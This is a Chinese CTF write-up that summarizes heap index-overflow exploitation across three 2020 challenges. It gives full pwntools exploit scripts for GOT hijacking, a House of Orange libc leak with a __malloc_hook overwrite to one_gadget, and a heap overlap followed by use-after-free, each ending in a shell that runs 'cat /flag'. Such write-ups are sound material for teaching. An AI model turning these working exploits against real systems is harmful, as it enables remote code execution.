【技术分享】堆中index溢出类漏洞利用思路总结
01
写在前面被问到这个问题,突然就意识到好像只能想到一个改got表的思路,有点丢人emmmm于是做个总结,如果还有遗漏,欢迎大佬在评论区指出,我会在后续文章完善。
02
越界篡改GOT表题目没有开启FULL RELRO保护。 程序有可用GOT表项。
以 2020-CISCN-摩尔庄园的记忆 为例我是本题的出题人,本题理论上应当用于2020年全国大学生信息安全竞赛,但是不知为何此题未出现,本题将会后续更新到我的Github,需要的同学可以自取~ 程序保护- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: Canary found
- NX: NX enabled
- PIE: PIE enabled
复制代码
程序分析程序提供了四个功能: 漏洞分析四个功能都存在index溢出的问题,我们可以利用负数访问到非法内存。 再加上程序没有开启FULL RELRO,因此我们可以直接篡改GOT表完成利用。 漏洞利用寻找可利用指针首先我们我们需要寻找一个可控指针以用来任意地址读写,经过查看内存 发现有一个地址处形成了一个循环指针,这个位置的index是chunk_list - 12,我们就利用此处指针。 泄露可利用指针地址- creat(sh,1,'Chunk')
- delete(sh,1)
- show(sh,-12)
- useful_point_addr = get_address(sh=sh,info='THIS IS A USEFUL POINT VALUE : ',start_string='| [lahm\'s name] > ',end_string='\n--')
复制代码
泄露 Libc 地址接下来我们将那个循环指针指向GOT表内的函数,以泄露Libc地址- edit(sh,-12,p64(useful_point_addr - 0x88))
- show(sh,-12)
- libc.address = get_address(sh=sh,info='GLIBC ADDRESS : ',start_string='| [lahm\'s name] > ',end_string='\n--',offset=-libc.symbols['free'])
复制代码
劫持GOT表,完成利用我们接下来将free@GOT篡改为system,然后利用free函数触发即可。 Final Exploit- from pwn import *
- import traceback
- import sys
- context.log_level='debug'
- context.arch='amd64'
- # context.arch='i386'
- Moles_world=ELF('./Moles_world', checksec = False)
- if context.arch == 'amd64':
- libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
- elif context.arch == 'i386':
- try:
- libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
- except:
- libc=ELF("/lib32/libc.so.6", checksec = False)
- def get_sh(Use_other_libc = False , Use_ssh = False):
- global libc
- if args['REMOTE'] :
- if Use_other_libc :
- libc = ELF("./", checksec = False)
- if Use_ssh :
- s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
- return s.process("./Moles_world")
- else:
- return remote(sys.argv[1], sys.argv[2])
- else:
- return process("./Moles_world")
- def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
- if start_string != None:
- sh.recvuntil(start_string)
- if int_mode :
- return_address = int(sh.recvuntil(end_string,drop=True),16)
- elif address_len != None:
- return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
- elif context.arch == 'amd64':
- return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
- else:
- return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
- if offset != None:
- return_address = return_address + offset
- if info != None:
- log.success(info + str(hex(return_address)))
- return return_address
- def get_flag(sh):
- sh.sendline('cat /flag')
- return sh.recvrepeat(0.3)
- def get_gdb(sh,gdbscript=None,stop=False):
- gdb.attach(sh,gdbscript=gdbscript)
- if stop :
- raw_input()
- def creat(sh,index,value):
- sh.recvuntil('| [now] >')
- sh.sendline('G')
- sh.recvuntil('| [lahm\'s index] > ')
- sh.sendline(str(index))
- sh.recvuntil('| [lahm\'s name] > ')
- sh.send(value)
- def edit(sh,index,value):
- sh.recvuntil('| [now] >')
- sh.sendline('R')
- sh.recvuntil('| [lahm\'s index] > ')
- sh.sendline(str(index))
- sh.recvuntil('| [lahm\'s name begin ten char] > ')
- sh.send(value)
- def show(sh,index):
- sh.recvuntil('| [now] >')
- sh.sendline('S')
- sh.recvuntil('| [lahm\'s index] > ')
- sh.sendline(str(index))
- def delete(sh,index):
- sh.recvuntil('| [now] >')
- sh.sendline('A')
- sh.recvuntil('| [lahm\'s index] > ')
- sh.sendline(str(index))
- def Attack(sh=None,ip=None,port=None):
- if ip != None and port !=None:
- try:
- sh = remote(ip,port)
- except:
- return 'ERROR : Can not connect to target server!'
- try:
- # Your Code here
- creat(sh,0,'/bin/sh\x00')
- creat(sh,1,'Chunk')
- delete(sh,1)
- show(sh,-12)
- useful_point_addr = get_address(sh=sh,info='THIS IS A USEFUL POINT VALUE : ',start_string='| [lahm\'s name] > ',end_string='\n--')
- edit(sh,-12,p64(useful_point_addr - 0x88))
- show(sh,-12)
- libc.address = get_address(sh=sh,info='GLIBC ADDRESS : ',start_string='| [lahm\'s name] > ',end_string='\n--',offset=-libc.symbols['free'])
- edit(sh,-12,p64(libc.symbols['system']))
- delete(sh,0)
- # get_gdb(sh,stop=True)
- sh.interactive()
- get_gdb(sh,stop=True)
- sh.interactive()
- flag=get_flag(sh)
- # try:
- # Multi_Attack()
- # except:
- # throw('Multi_Attack_Err')
- sh.close()
- return flag
- except Exception as e:
- traceback.print_exc()
- sh.close()
- return 'ERROR : Runtime error!'
- if __name__ == "__main__":
- sh = get_sh()
- flag = Attack(sh=sh)
- log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
复制代码
利用方式总结此种利用方式就是利用了index可控,进而在.text段的.got区域分配chunk,进而控制GOT指针后完成利用的方式。
03
越界任意写全局变量程序中可以向chunk_list指针附近写入值。 - 以 2020-QWB-Just_a_Galgame 为例
程序保护- Arch: amd64-64-little
- RELRO: Full RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: No PIE (0x400000)
复制代码
程序分析程序提供了5个功能: 申请一个大小为0x68大小的Chunk。(上限申请6个) 向指定的Chunk进行一次越界写,即,向该chunk + 0x60的位置写入0x10个字节。(上限1次) 申请一个0x1000大小的Chunk,在那之后,增加一次越界写次数。(上限1次) 依次打印所有Chunk的内容。(无上限次数) 当且仅当输入No bye!时,退出程序。
漏洞分析此题没有提供任何的free函数调用,可以利用越界写来构造Top Chunk,再利用House of Orange的思路来leak Libc。 然后,在edit处存在另一个漏洞 此处在越界写时,程序使用了atoi函数,同时也没有对我们输入的数字以及对转换后的数值进行任何形式的验证。 这将导致我们index越界的情况发生。 漏洞利用泄露libc首先可以利用越界写来写Top Chunk的size字段 接下来申请一个大的chunk 现在,我们成功的向unsorted bin加入了chunk,接下来我们取回,即可泄露libc
- creat_small(sh)
- edit(sh,0,p64(0)+p64(0xf91))
- creat_big(sh)
- creat_small(sh)
- show(sh)
- libc.address = get_address(sh,info='LIBC ADDRESS IS => ',start_string='1: ',end_string='\n',offset=-0x3c5188)
复制代码
利用越界达成任意写此处要利用bye函数处的漏洞,我们先在usr_want位置写入__malloc_hook - 0x60的值 - bye(sh,p64(libc.symbols['__malloc_hook'] - 0x60))
复制代码
然后利用edit函数即可写__malloc_hook为one_gadgat - edit(sh,8,p64(libc.address + one_gadgets[3]))
复制代码
最后触发利用即可 Final Exploit- from pwn import *
- import traceback
- import sys
- context.log_level='debug'
- context.arch='amd64'
- # context.arch='i386'
- Just_a_Galgame=ELF('./Just_a_Galgame', checksec = False)
- one_gadgets=[0x45226,0x4527a,0xf0364,0xf1207]
- if context.arch == 'amd64':
- libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
- elif context.arch == 'i386':
- try:
- libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
- except:
- libc=ELF("/lib32/libc.so.6", checksec = False)
- def get_sh(Use_other_libc = False , Use_ssh = False):
- global libc
- if args['REMOTE'] :
- if Use_other_libc :
- libc = ELF("./", checksec = False)
- if Use_ssh :
- s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
- return s.process("./Just_a_Galgame")
- else:
- return remote(sys.argv[1], sys.argv[2])
- else:
- return process("./Just_a_Galgame")
- def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
- if start_string != None:
- sh.recvuntil(start_string)
- if int_mode :
- return_address = int(sh.recvuntil(end_string,drop=True),16)
- elif address_len != None:
- return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
- elif context.arch == 'amd64':
- return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
- else:
- return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
- if offset != None:
- return_address = return_address + offset
- if info != None:
- log.success(info + str(hex(return_address)))
- return return_address
- def get_flag(sh):
- sh.sendline('cat /flag')
- return sh.recvrepeat(0.3)
- def get_gdb(sh,gdbscript=None,stop=False):
- gdb.attach(sh,gdbscript=gdbscript)
- if stop :
- raw_input()
- def creat_small(sh):
- sh.recvuntil('>> ')
- sh.send('1')
- def edit(sh,index,value):
- sh.recvuntil('>> ')
- sh.send('2')
- sh.recvuntil('idx >> ')
- sh.send(str(index))
- sh.recvuntil('movie name >> ')
- sh.send(value)
- def creat_big(sh):
- sh.recvuntil('>> ')
- sh.send('3')
- def show(sh):
- sh.recvuntil('>> ')
- sh.send('4')
- def bye(sh,value):
- sh.recvuntil('>> ')
- sh.send('5')
- sh.recvuntil('\nHotaru: Won\'t you stay with me for a while? QAQ\n')
- sh.send(value)
- def Attack(sh=None,ip=None,port=None):
- if ip != None and port !=None:
- try:
- sh = remote(ip,port)
- except:
- return 'ERROR : Can not connect to target server!'
- try:
- # Your Code here
- creat_small(sh)
- edit(sh,0,p64(0)+p64(0xf91))
- creat_big(sh)
- creat_small(sh)
- show(sh)
- libc.address = get_address(sh,info='LIBC ADDRESS IS => ',start_string='1: ',end_string='\n',offset=-0x3c5188)
- bye(sh,p64(libc.symbols['__malloc_hook'] - 0x60))
- edit(sh,8,p64(libc.address + one_gadgets[3]))
- creat_small(sh)
- # get_gdb(sh,stop=True)
- sh.interactive()
- flag=get_flag(sh)
- # try:
- # Multi_Attack()
- # except:
- # throw('Multi_Attack_Err')
- sh.close()
- return flag
- except Exception as e:
- traceback.print_exc()
- sh.close()
- return 'ERROR : Runtime error!'
- if __name__ == "__main__":
- sh = get_sh()
- flag = Attack(sh=sh)
- log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
复制代码
04
越界篡改chunk结构越界可以修改heap内的内容 程序有index越界但是开启了全保护
以 2020-QWB-direct 为例程序保护Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled程序分析程序提供了5个功能: 在用户指定的index(index < 0xF)处申请一个指定大小(0 <= size <= 0x100)的Chunk。 在用户指定的Chunk_list[index] + offset处写入size - offset长度的值。 释放指定的Chunk_list[index],并将指针以及size清除。 调用opendir打开一个路径。 调用readdir读取该路径下的所有目录进入点。
漏洞分析在向chunk写入内容时,由于没有对offset做任何检查,因此可以越界修改上一个chunk的任意内容,那么我们就可以利用Off-by-one的思路构造Overlap完成利用。 漏洞利用篡改Size域,构造Heap Overlap首先申请两个chunk,然后调用opendir打开一个路径,由于opendir的特性,将同步生成一个大小为0x8040的chunk creat(sh,0,0x18)creat(sh,1,0x18)open_dir(sh)⚠️:最上方的大小为0x250的chunk为scanf缓冲区,无视即可。 接下来,使用edit函数修改第一个chunk的size域为0x8080,进而构造heap Overlap。 edit(sh,0,-8,8,p64(0x8040 + 0x10 + 0x10 + 0x10 + 0x10 + 0x1))劫持DIR结构体,泄露libc基址首先调用readdir函数初始化整个DIR结构体 get_dir(sh)接下来将libc地址推到我们即将打印的位置上 creat(sh,0,0x18)creat(sh,3,0x78)最后利用edit函数将7fe1处填充,以免截断即可完成libc的泄露 creat(sh,4,0x88)edit(sh,4,-8,8,"Libc--->")get_dir(sh)利用Use After Free完成最终利用- delete(sh,1)
- edit(sh,3,0,8,p64(libc.symbols['__malloc_hook'] - 0x13))
- creat(sh,5,0x78)
- creat(sh,6,0x78)
- edit(sh,6,0,len('A'*0x13+p64(libc.address + one_gadgats[2])),'A'*0x13+p64(libc.address + one_gadgats[2]))
- creat(sh,7,0x78)
复制代码
Final Exploit- from pwn import *
- import traceback
- import sys
- context.log_level='debug'
- context.arch='amd64'
- # context.arch='i386'
- direct = ELF('./direct', checksec = False)
- one_gadgats = [0x4f365,0x4f3c2,0x10a45c]
- if context.arch == 'amd64':
- libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
- elif context.arch == 'i386':
- try:
- libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
- except:
- libc=ELF("/lib32/libc.so.6", checksec = False)
- def get_sh(Use_other_libc = False , Use_ssh = False):
- global libc
- if args['REMOTE'] :
- if Use_other_libc :
- libc = ELF("./", checksec = False)
- if Use_ssh :
- s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
- return s.process("./direct")
- else:
- return remote(sys.argv[1], sys.argv[2])
- else:
- return process("./direct")
- def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
- if start_string != None:
- sh.recvuntil(start_string)
- if int_mode :
- return_address = int(sh.recvuntil(end_string,drop=True),16)
- elif address_len != None:
- return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
- elif context.arch == 'amd64':
- return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
- else:
- return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
- if offset != None:
- return_address = return_address + offset
- if info != None:
- log.success(info + str(hex(return_address)))
- return return_address
- def get_flag(sh):
- sh.sendline('cat /flag')
- return sh.recvrepeat(0.3)
- def get_gdb(sh,gdbscript=None,stop=False):
- gdb.attach(sh,gdbscript=gdbscript)
- if stop :
- raw_input()
- def creat(sh,index,chunk_size):
- sh.recvuntil('Your choice: ')
- sh.sendline('1')
- sh.recvuntil('Index: ')
- sh.sendline(str(index))
- sh.recvuntil('Size: ')
- sh.sendline(str(chunk_size))
- def edit(sh,index,offset,input_size,value):
- sh.recvuntil('Your choice: ')
- sh.sendline('2')
- sh.recvuntil('Index: ')
- sh.sendline(str(index))
- sh.recvuntil('Offset: ')
- sh.sendline(str(offset))
- sh.recvuntil('Size: ')
- sh.sendline(str(input_size))
- sh.recvuntil('Content: ')
- sh.sendline(value)
- def delete(sh,index):
- sh.recvuntil('Your choice: ')
- sh.sendline('3')
- sh.recvuntil('Index: ')
- sh.sendline(str(index))
- def open_dir(sh):
- sh.recvuntil('Your choice: ')
- sh.sendline('4')
- def get_dir(sh):
- sh.recvuntil('Your choice: ')
- sh.sendline('5')
- def Attack(sh=None,ip=None,port=None):
- if ip != None and port !=None:
- try:
- sh = remote(ip,port)
- except:
- return 'ERROR : Can not connect to target server!'
- try:
- # Your Code here
- creat(sh,0,0x18)
- creat(sh,1,0x18)
- open_dir(sh)
- creat(sh,2,0x18)
- edit(sh,0,-8,8,p64(0x8040 + 0x10 + 0x10 + 0x10 + 0x10 + 0x1))
- delete(sh,0)
- get_dir(sh)
- creat(sh,0,0x18)
- creat(sh,3,0x78)
- creat(sh,4,0x88)
- edit(sh,4,-8,8,"Libc--->")
- get_dir(sh)
- libc.address = get_address(sh,info='LIBC ADDRESS IS ',start_string='c--->',end_string='\n',offset=-0x3ebca0)
- delete(sh,1)
- edit(sh,3,0,8,p64(libc.symbols['__malloc_hook'] - 0x13))
- creat(sh,5,0x78)
- creat(sh,6,0x78)
- edit(sh,6,0,len('A'*0x13+p64(libc.address + one_gadgats[2])),'A'*0x13+p64(libc.address + one_gadgats[2]))
- creat(sh,7,0x78)
- # get_gdb(sh,stop=True)
- sh.interactive()
- flag=get_flag(sh)
- # try:
- # Multi_Attack()
- # except:
- # throw('Multi_Attack_Err')
- sh.close()
- return flag
- except Exception as e:
- traceback.print_exc()
- sh.close()
- return 'ERROR : Runtime error!'
- if __name__ == "__main__":
- sh = get_sh()
- flag = Attack(sh=sh)
- log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
复制代码
|